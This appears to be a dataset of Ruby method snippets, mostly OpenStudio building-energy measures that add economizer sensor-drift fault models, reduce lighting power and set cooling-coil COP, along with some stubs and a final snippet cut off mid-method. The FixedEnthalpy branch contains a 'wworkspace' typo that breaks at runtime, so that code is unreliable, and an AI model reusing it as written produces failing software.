"def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n # use the built-in error checking \n if !runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n # Report that this is an anti-measure\n runner.registerValue('anti_measure',true) \n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n\t# Initialize counter variables\n\tno_economizer = 0\n\tfixed_dry_bulb = 0\n\tdifferential_dry_bulb = 0\t\n\tfixed_enthalpy = 0\n\tdifferential_enthalpy = 0\n\tfixed_dew_point_and_dry_bulb = 0\n\telectronic_enthalpy = 0\n\tdifferential_dry_bulb_and_enthalpy = 0\n\t\n\t# Retrieve all Controller:Outdoor air objects in the idf \t\n\toa_controllers = workspace.getObjectsByType(\"Controller:OutdoorAir\".to_IddObjectType)\n\t\n\t# Get the names of each Controller:Outdoor Air object\n\toa_controllers.each do |oa_controller|\n\n\t\toa_controller_name = oa_controller.getString(0).to_s #(0) is field Name\n\t\toa_controller_economizer_control_type = oa_controller.getString(7).to_s #(7) is field Economizer Control Type\n\t\n\t\t# test for presence No economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"NoEconomizer\" # or empty\n\t\t\trunner.registerInfo(\"The Controller:Outdoor air object named #{oa_controller_name} has a disabled airside economizer. Economizer sensor faults will not be added.\")\n\t\t\tno_economizer = no_economizer + 1\n\t\tend\n\t\t\n\t\t# test for presence of differential dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"DifferentialDryBulb\"\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir \n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\tdifferential_dry_bulb = differential_dry_bulb + 1\n\t\t\t# info message\n\t\t\trunner.registerInfo(\"To model dry bulb sensor drift, a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg F has been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\t\n\n\t\tend # OA Controller Type DifferentialDryBulb\n\n\t\t# test for presence of fixed dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"FixedDryBulb\"\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\trunner.registerInfo(\"To model dry bulb sensor drift, a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg F has been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_dry_bulb = fixed_dry_bulb + 1\n\t\t\t\n\t\tend # OA Controller Type = FixedDryBulb \t\t\n\t\t\n\t\t# test for presence of fixed enthalpy economizer controller setting \t\t\t\t\n\t\tif oa_controller_economizer_control_type == \"FixedEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\twworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_enthalpy = fixed_enthalpy + 1\n\t\tend # OA Controller Type = FixedEnthalpy \n\t\t\n\t\t# test for presence of differential enthalpy economizer controller setting \t\t\n\t\tif oa_controller_economizer_control_type == \"DifferentialEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tdifferential_enthalpy = differential_enthalpy + 1\n\t\t\t\n\t\tend # OA Controller Type =\"Differential Enthalpy\"\t\t\n\t\t\n\t\n\t\t# test for presence of electronic enthalpy economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"ElectronicEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\telectronic_enthalpy = electronic_enthalpy + 1\n\n\t\tend # OA Controller Type = \"ElectronicEnthalpy\" \t\t\n\t\t\n\t\t# test for presence of fixed dew point and dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"FixedDewPointAndDryBulb\" \n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model both enthalpy and dry bulb sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb and a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_dew_point_and_dry_bulb = fixed_dew_point_and_dry_bulb + 1\n\n\t\tend # OA Controller Type = \"FixedDewPointAndDryBulb\" \n\t\n\t\t# test for presence of differential dry bulb and enthalpy economizer controller setting \t\t\n\t\tif oa_controller_economizer_control_type == \"DifferentialDryBulbAndEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model both enthalpy and dry bulb sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb and a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tdifferential_dry_bulb_and_enthalpy = differential_dry_bulb_and_enthalpy + 1\n\t\tend # OA Controller Type \"DifferentialDryBulbAndEnthalpy\"\n\t\t\n\t\t\t\t\n\tend # end loop through oa controller objects\n\n\t# reporting when N/A condition is appropriate\n\tif fixed_dry_bulb +\tdifferential_dry_bulb + fixed_enthalpy + differential_enthalpy + fixed_dew_point_and_dry_bulb +\telectronic_enthalpy + differential_dry_bulb_and_enthalpy == 0\n\t\trunner.registerAsNotApplicable(\"Measure not applicable because the model contains no OutdoorAir:Controller objects with operable economizers.\")\n\tend \n\t\n\ttotal = fixed_dry_bulb + differential_dry_bulb + fixed_enthalpy + differential_enthalpy + fixed_dew_point_and_dry_bulb + electronic_enthalpy + differential_dry_bulb_and_enthalpy\n\t\n\t# reporting initial condition of model\n\trunner.registerInitialCondition(\"The measure started with #{total} Outdoor Air Controllers configured for operational airside economizers. #{no_economizer} Outdoor Air Controller had the Economizer Contrrol Type set to 'NoEconomizer'.\")\n\t# reporting final condition of model\n\trunner.registerFinalCondition(\"The measure finished by adding outdoor and return air temperature and enthalpy sensor faults to #{total} economizer configurations.\")\n \n return true\n \n end",
"def calculation\n end",
"def monitor; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n # initialize variables\n affected_space_types = []\n affected_flag = false\n power_tot = 0\n power_tot_new = 0\n control_factor = 0.05 #90.1-2010 Table 9.6.2\n\n # standards space types\n affected_space_types << \"BreakRoom\"\n affected_space_types << \"Conference\"\n affected_space_types << \"Office\"\n affected_space_types << \"Restroom\"\n affected_space_types << \"Stair\"\n\n # get model objects\n space_types = model.getSpaceTypes\n\n # DO STUFF\n #TODO account for zone multipliers?\n space_types.each do |st|\n\n std_spc_typ = st.standardsSpaceType.to_s\n area = st.floorArea\n people = st.getNumberOfPeople(area)\n power = st.getLightingPower(area, people)\n power_tot += power\n\n #calcualte LPD\n lpd_area = power / area\n lpd_people = power / people\n\n affected_space_types.each do |ast|\n\n if ast == std_spc_typ\n\n #calculate adjustment and new power\n power_adj = power * control_factor\n power_new = power - power_adj\n\n lpd_area_new = power_new / area\n lpd_people_new = power_new / people\n\n #set new power\n if st.lightingPowerPerFloorArea.is_initialized\n\n runner.registerInfo(\"Adjusting interior lighting power for space type: #{st.name}\")\n st.setLightingPowerPerFloorArea(lpd_area_new)\n\n lpd_area_ip = OpenStudio.convert(lpd_area,\"ft^2\",\"m^2\").get\n lpd_area_new_ip = OpenStudio.convert(lpd_area_new,\"ft^2\",\"m^2\").get\n lpd_area_change = (1 - (lpd_area_new / lpd_area)) * 100\n\n runner.registerInfo(\"=> Initial interior lighting power = #{lpd_area_ip.round(2)} W/ft2\")\n runner.registerInfo(\"=> Final interior lighting power = #{lpd_area_new_ip.round(2)} W/ft2\")\n runner.registerInfo(\"=> Interior lighting power reduction = #{lpd_area_change.round(0)}%\")\n\n elsif st.lightingPowerPerPerson.is_initialized\n\n runner.registerInfo(\"Adjusting interior lighting power for space type: #{st.name}\")\n st.setLightingPowerPerPerson(lpd_people_new)\n\n lpd_people_change = (1 - (lpd_people_new / lpd_people)) * 100\n\n runner.registerInfo(\"=> Initial interior lighting power = #{lpd_people} W/person\")\n runner.registerInfo(\"=> Final interior lighting power = #{lpd_people_new} W/person\")\n runner.registerInfo(\"=> Interior lighting power reduction = #{lpd_people_change.round(0)}%\")\n\n else\n\n runner.registerWarning(\"Lighting power is specified using Lighting Level (W) for affected space type: #{st.name}\")\n\n end #set new power\n\n affected_flag = true\n\n end\n\n end #affected space types\n\n # calculate new total lighting power\n power = st.getLightingPower(area, people)\n power_tot_new += power\n\n end #space types\n\n # report not applicable\n if affected_flag == false\n runner.registerAsNotApplicable(\"No affected space types found\")\n end\n\n # report initial condition\n runner.registerInitialCondition(\"Total interior lighting power = #{power_tot.round(0)} W\")\n\n # report final condition\n runner.registerFinalCondition(\"Total interior lighting power = #{power_tot_new.round(0)} W\")\n\n return true\n\n end",
"def measure key,value\n @context= {}\n @path = \"#{key}\" \n @context[:callcount] = 1\n @context[:firsttimestampoffset] = Time.now.to_f*1000 - value\n @context[:name] = @path\n @context[:responsetime] = value\n @context_list << @context\n end",
"def total_time=(_arg0); end",
"def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n require 'json'\n \n # Get the last openstudio model\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\n return false\n end\n model = model.get\n \n results = {}\n \n #get all DX coils in model\n dx_single = workspace.getObjectsByType(\"Coil:Cooling:DX:SingleSpeed\".to_IddObjectType)\n dx_two = workspace.getObjectsByType(\"Coil:Cooling:DX:TwoSpeed\".to_IddObjectType)\n \n dx_single.each do |dx|\n dx_name = {}\n coil_name = dx.getString(0).get\n runner.registerInfo(\"DX coil: #{coil_name} Initial COP: #{dx.getDouble(4).get}\")\n dx.setDouble(4,7.62)\n runner.registerInfo(\"DX coil: #{coil_name} Final COP: #{dx.getDouble(4).get}\")\n dx_name[:dxname] = \"#{coil_name}\"\n results[\"#{coil_name}\"] = dx_name\n end\n\n dx_two.each do |dx|\n dx_name = {}\n coil_name = dx.getString(0).get\n runner.registerInfo(\"DX coil: #{coil_name} Initial High COP: #{dx.getDouble(4).get}, Initial Low COP: #{dx.getDouble(16).get}\")\n dx.setDouble(4,7.62)\n dx.setDouble(16,7.62)\n 